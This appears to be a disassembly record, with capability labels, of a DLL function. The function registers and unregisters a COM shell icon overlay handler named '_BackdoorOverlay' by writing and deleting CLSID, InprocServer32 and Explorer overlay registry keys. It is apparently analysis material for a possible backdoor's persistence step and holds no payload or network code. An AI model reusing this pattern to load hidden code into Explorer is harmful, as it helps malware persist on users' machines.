Function at 0x180001940
Capabilities:
Delete registry key
Set registry value

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r15
lea rbp, [rsp - 0x160]
sub rsp, 0x260
mov rax, qword [0x18001b008]
xor rax, rsp
mov qword [rbp + 0x150], rax
xor edx, edx
lea rcx, [rsp + 0x40]
mov r8d, 0x208
call fcn.180003f90
mov rcx, qword [0x18001ce00]
lea rdx, [rsp + 0x40]
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor esi, esi
lea r15, str.A8E947ED_B6BD_4305_BF09_D02675F32B6E
test eax, eax
jne 0x1800019f0
mov edi, 0x8000ffff
mov ebx, edi
lea rax, [rsp + 0x30]
mov qword [rsp + 0x280], r14
mov r9d, 0x10000
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov qword [rsp + 0x30], rsi
lea rdx, str.CLSIDA8E947ED_B6BD_4305_BF09_D02675F32B6E
mov rcx, 0xffffffff80000000
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x180001cd7
mov r14d, edi
jmp 0x180001cf2
lea rax, [rsp + 0x30]
mov qword [rsp + 0x30], rsi
mov r9d, 0x20006
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov qword [rsp + 0x38], rsi
lea rdx, str.CLSID
mov rcx, 0xffffffff80000000
mov ebx, esi
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x180001a30
mov edi, 0x8000ffff
mov ebx, edi
jmp 0x180001a84
mov rcx, qword [rsp + 0x30]
lea r8, [rsp + 0x38]
mov rdx, r15
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
je 0x180001a50
mov edi, 0x8000ffff
mov ebx, edi
jmp 0x180001a84
mov rcx, qword [rsp + 0x38]
lea rax, [0x180017a00]
mov dword [rsp + 0x28], 0x20
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
mov edi, 0x8000ffff
cmovne ebx, edi
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x180001a99
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x38], rsi
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x180001aa9
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
jne 0x1800019ac
lea rax, [rsp + 0x30]
mov qword [rsp + 0x30], rsi
mov r9d, 0x20006
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov qword [rsp + 0x38], rsi
lea rdx, str.CLSIDA8E947ED_B6BD_4305_BF09_D02675F32B6E
mov rcx, 0xffffffff80000000
mov ebx, esi
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x180001aec
mov ebx, edi
jmp 0x180001b5b
mov rcx, qword [rsp + 0x30]
lea r8, [rsp + 0x38]
lea rdx, str.InprocServer32
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
je 0x180001b0b
mov ebx, edi
jmp 0x180001b5b
lea rcx, [rsp + 0x40]
mov rax, 0xffffffffffffffff
nop word [rax + rax]
cmp word [rcx + rax*2 + 2], bx
lea rax, [rax + 1]
jne 0x180001b20
mov rcx, qword [rsp + 0x38]
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
mov r9d, 1
lea rax, [rsp + 0x40]
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
cmovne ebx, edi
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x180001b70
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x38], rsi
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x180001b80
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
jne 0x1800019ac
lea rax, [rsp + 0x30]
mov qword [rsp + 0x30], rsi
mov r9d, 2
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.CLSIDA8E947ED_B6BD_4305_BF09_D02675F32B6EInprocServer32
mov rcx, 0xffffffff80000000
mov ebx, esi
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x180001bbe
mov ebx, edi
jmp 0x180001bf2
mov rcx, qword [rsp + 0x30]
lea rax, str.Apartment
mov dword [rsp + 0x28], 0x14
lea rdx, str.ThreadingModel
mov r9d, 1
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
cmovne ebx, edi
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x180001c02
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
jne 0x1800019ac
lea rax, [rsp + 0x30]
mov qword [rsp + 0x30], rsi
mov r9d, 0x20006
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov qword [rsp + 0x38], rsi
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerShellIconOverlayIdentifiers
mov rcx, 0xffffffff80000002
mov ebx, esi
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x180001c45
mov ebx, edi
jmp 0x180001c8c
mov rcx, qword [rsp + 0x30]
lea r8, [rsp + 0x38]
lea rdx, str._BackdoorOverlay
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
je 0x180001c64
mov ebx, edi
jmp 0x180001c8c
mov rcx, qword [rsp + 0x38]
mov r9d, 1
mov dword [rsp + 0x28], 0x4e
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r15
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
cmovne ebx, edi
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x180001ca1
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x38], rsi
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x180001cb1
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
jne 0x1800019ac
call qword [sym.imp.SHELL32.dll_SHLoadNonloadedIconOverlayIdentifiers]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0x8000000
call qword [sym.imp.SHELL32.dll_SHChangeNotify]
jmp 0x180001ddb
mov rcx, qword [rsp + 0x30]
lea rdx, str.InprocServer32
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test eax, eax
mov r14d, esi
cmovne r14d, edi
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x180001d02
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test r14d, r14d
jne 0x180001dce
lea rax, [rsp + 0x30]
mov qword [rsp + 0x30], rsi
mov r9d, 0x10000
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.CLSID
mov rcx, 0xffffffff80000000
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x180001d40
mov r14d, edi
jmp 0x180001d57
mov rcx, qword [rsp + 0x30]
mov rdx, r15
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test eax, eax
mov r14d, esi
cmovne r14d, edi
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x180001d67
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test r14d, r14d
jne 0x180001dce
lea rax, [rsp + 0x30]
mov qword [rsp + 0x30], rsi
mov r9d, 0x10000
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerShellIconOverlayIdentifiers
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x180001db5
mov rcx, qword [rsp + 0x30]
lea rdx, str._BackdoorOverlay
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test eax, eax
cmovne esi, edi
mov edi, esi
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x180001dc5
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test edi, edi
jne 0x180001dce
call fcn.180002050
call fcn.180002050
mov r14, qword [rsp + 0x280]
mov eax, ebx
mov rcx, qword [rbp + 0x150]
xor rcx, rsp
call fcn.180002420
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop rdi
pop rbp
ret